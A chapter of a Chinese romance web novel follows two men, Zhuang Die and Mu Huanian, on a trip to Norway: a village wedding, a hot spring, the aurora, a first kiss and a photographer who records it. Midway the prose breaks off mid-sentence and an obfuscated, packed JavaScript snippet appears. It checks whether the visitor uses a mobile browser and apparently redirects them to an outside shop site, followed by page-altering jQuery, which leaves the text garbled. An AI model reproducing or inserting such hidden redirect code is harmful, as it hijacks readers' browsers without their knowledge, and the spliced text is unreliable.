庄迭之前来过挪威。
那时张宪刚结束第一次住院治疗,他看着庄迭每天守在他身边只觉得心疼。于是等回家后,二话不说把庄迭的东西打包扔给路远舟,让他随便带庄迭去哪都行。
那次他和路远舟租了辆车,两个人像疯了一样跑遍挪威的酒吧,昏天黑地地在酒精里下沉。
这次再来挪威,不知道是心境不同还是身边的人不同,庄迭只觉得一切新奇如初见。他站在海达尔木条教堂外,看着尖顶刺破挪威苍茫的天际线,拍下了旅途中的第一张照片。
照片里,慕华年背对着他,像个虔诚的信徒。
只是刚按下快门,庄迭就被涌进教堂的人流推到了祭坛前。他回头找慕华年,发现自己正贴着对方的胸口。
“我在呢。走吧,进去看看。”
教堂的中央,红毯一直铺到他们脚下。正在布置婚礼的村民看到这对异国面孔,露出了不明就里的微笑。
“我们好像闯进别人的婚礼了。”庄迭低声说,耳根微微发烫。
慕华年看着他笑了笑,抬头望向祭坛上古老的木质十字架,说:“我们运气好。”
一旁的牧师正在调试管风琴,悠扬的琴声在千年梁柱间流淌。慕华年感觉庄迭的手不经意碰到他的,指尖传来温暖的触感。还没等他反应,两只手已经自然而然地交握在一起,十指相扣。
“慕华年,”庄迭突然转头,“我们会结婚吗?”
慕华年没有回答,他望着窗外覆满白雪的山峦,问:“你喜欢这儿吗?”
最后谁都没回答对方的问题,说不清是为什么。明明答案呼之欲出,心里却都藏着什么。
最后连这场婚礼他们也没有看完,当新人在神父见证下宣誓时,庄迭起身离开了教堂。
“下一站去哪?”
“去泡温泉。”
说来好笑,提议泡温泉的人在水池边坐了半个晚上。
庄迭浸在温暖的泉水里,看着呼出的白气在零下二十度的空气中凝结成霜,问:“你不下来吗?”
他说话时没回头,没看见慕华年发梢上那层细小的冰晶,在极地微弱的月光下闪闪发光。
“要不你去另一个池子?”庄迭说完自己先笑了。他的手划过水面,任由抓不住的水从指尖流淌而过。
或许是有些太快了。庄迭眼神暗了暗,索性闭眼枕在池边。
可困意袭来时,他感觉了水流无规律地冲刷胸口——慕华年下来的时候温泉水波轻轻荡漾。他们的膝盖在水下不经意相触。
“上次来的时候,我听当地人讲了个故事,”庄迭依旧闭着眼,“他们说,在极地温泉里分享体温的人,会分享彼此的命运。"
“慕华年,我们分不开了。”
身边溅起水花,庄迭嘴角微微上扬。
哪有这么神奇的故事,不过是他希望成真罢了。
“冷吗?”慕华年突然问。
庄迭摇头,却发现慕华年已经在水中找到他的手。温泉水包裹着交握的双手,他又听见慕华年的声音:“你的手在抖。”
或许是吧。庄迭任由他牵着,这次不是十指相扣,而是慕华年一下下摩挲着他的手指。
“庄迭,天黑了。”
“嗯。”
“去看极光吗?”
“好。”
庄迭觉得,现在慕华年说什么他都会说好。
李家杰诚不欺他。慕华年带着庄迭从温泉里出来的时候还是一片黑夜,等开车追光时,天边已经能看到星星点点的光晕。
“我上次来没看到,”庄迭握着方向盘说。慕华年摇下车窗,让夜风吹进来,“也可能那个时候的我什么也看不见。”
慕华年转头看他。庄迭的手指在方向盘上轻轻敲着,“我第一次觉得我运气其实不错。张叔走了,你就来了。老天爷到底舍不得让我一个人。”
“他也知道我害怕一个人。”
庄迭的声音很轻,带着温泉未散的热气,朦胧了慕华年看他的眼神。
“庄迭,你一定要幸福。”慕华年莫名说了这么一句。
庄迭笑了笑,答了一句“好”,随后又说:“那你陪我幸福吗?”
慕华年轻轻“嗯”了一声,没再说话。
今天是慕华年的生日。他已经很久没有许过愿了。
他希望这个愿望里,可以有他。
那天的极光像是得了指令,庄迭的车停下,曲折的光圈如同泼墨山水,也像是有人为他们播着绚烂的幻灯片。谁都没再说话,两人眼中映着同一条星轨。
“慕华年。”庄迭开口时带着颤音,不知是因为冷还是别的。
“嗯?”
“我们还可以再去丹麦吗?”
“可以。”
“冰岛呢?”
“也可以。”
“还有……”
庄迭的话没说完,寒风灌入口腔,紧接着是温热的舌尖试探着他的深浅。慕华年用第一个主动的吻堵上了他的话,也回答了他的所有问题。
都可以。
庄迭还没来得及闭眼,就看见慕华年颤动的睫毛近在眼前。他垂落的手紧贴裤缝,反应过来后立刻缠上了他垂涎已久的腰。
慕华年的吻远比他这个人要野蛮,就好像他在接触庄迭的那一瞬打开了无形的枷锁。他感受到庄迭掌心的温度,透过大衣贴在他的皮肤上,他更用力地掠夺庄迭的神志,直到怀里的人开始发软,他撑住了庄迭。
也是这一刻,庄迭知道自己在飞机上的想象完全是痴人说梦。
两个人分开时,庄迭的嘴唇红得不像话,上面的水色让他看起来饱满诱人。他此刻的眼神里透着飘荡的神魂,他看不清自己,也看不清眼前的人。
慕华年低头笑了,难得笑得张扬。
“不许笑。”庄迭底气不足。他没想到自己这么没出息,明明他从一开始就代入的是上位。
“庄迭,你想清楚,我给你时间。”慕华年顿了顿,“也允许你反悔。”
慕华年的意思隔着水雾,庄迭却一清二楚。他把下巴藏在围巾里,慢慢遮住半张脸。慕华
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111626|195872||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
年听见他小声嘟囔:“我不后悔,可我也不服。”
“嗯,我知道。”
慕华年脾气好得离奇,他不争不辩,而是又一次贴上庄迭的嘴唇。这一次,毫无保留。
呼吸交融时,慕华年尝到血腥味——庄迭咬破了他的下唇。
可这没有换来意料中的停顿。慕华年的胳膊紧紧禁锢着庄迭,呼吸吐纳间是一次又一次轻触,就好像只要庄迭一息尚存,他就能和他天长地久地吻下去。
庄迭站不住了,觉得再继续自己就要“玉殒香消”了。
等等,为什么会想到这个词?
“慕华年,我真的好喜欢你啊。”
快门声在这时响起。两个人像是被抓包的高中生。庄迭下意识往慕华年身后躲了躲。他们看见一个背着旅行包的年轻人正举着相机对着他们。
“可以吗?”是中文。
年轻人咧着嘴笑,晃了晃手上的相机,主打一个先斩后奏。而他的相机此时正留存着方才那个笨拙又直白的吻。
“你们很好看,它也很好看。”年轻人指着天边的光带。
庄迭回头望去,只看到浅灰色的帷幕。
“你这样看看不到的,过来看吗?”年轻人很热情。庄迭被他勾起兴趣,慕华年看了他一眼,依旧走在他前面。
两个人凑近时,呼出的水汽模糊了那块小小的屏幕。屏幕上,一条深红色的光带正悬在他们头顶若隐若现。
庄迭想起自己随口编的故事——这束极光就像他们之间的红线。
真的再也分不开了,真好。
“我传给你们?”年轻人说着就从包里拿出数据线。为了保证画质,他选了最占内存的格式。
庄迭点头的时候还盯着那块屏幕,小声说了声“谢谢”。
“你们是情侣吗?”年轻人随口问。
不知道是不是因为他说中文,庄迭少了几分在异国他乡的坦然。他小心翼翼看了慕华年一眼,却听到他很郑重地说:“是。”
“祝福你们,”年轻人真诚地说,“我也希望能遇到陪我看极光的人。”
“我已经快一个人走遍这个世界了。”
这话听着寂寞,但他脸上是满不在乎的洒脱。看了眼传输进度,他打开微信,问:“用微信吗?我没有国外的社交账号。”
“用的,”庄迭想着慕华年不喜欢加陌生人,刚要掏手机,却被慕华年抢先一步。他低头笑了笑,靠过去看慕华年的手机,“你拍的真好,很专业。”
“业余爱好啦。”年轻人露出羞涩的表情,随后像才反应过来似的,摘下手套伸手,“可以问问你们的名字吗?”说完又补充道,“放心,这些照片我只留着自己看。”
“慕华年,”慕华年顿了顿,“这位是我男朋友,庄迭。”
“真好!”年轻人轻轻碰了碰慕华年的指尖,“我叫傅安之,安之若素的安之。”
后来慕华年把这张照片洗了两张,他和庄迭一人一张。只是他不小心弄丢了自己的那张。
庄迭帮他找回来了。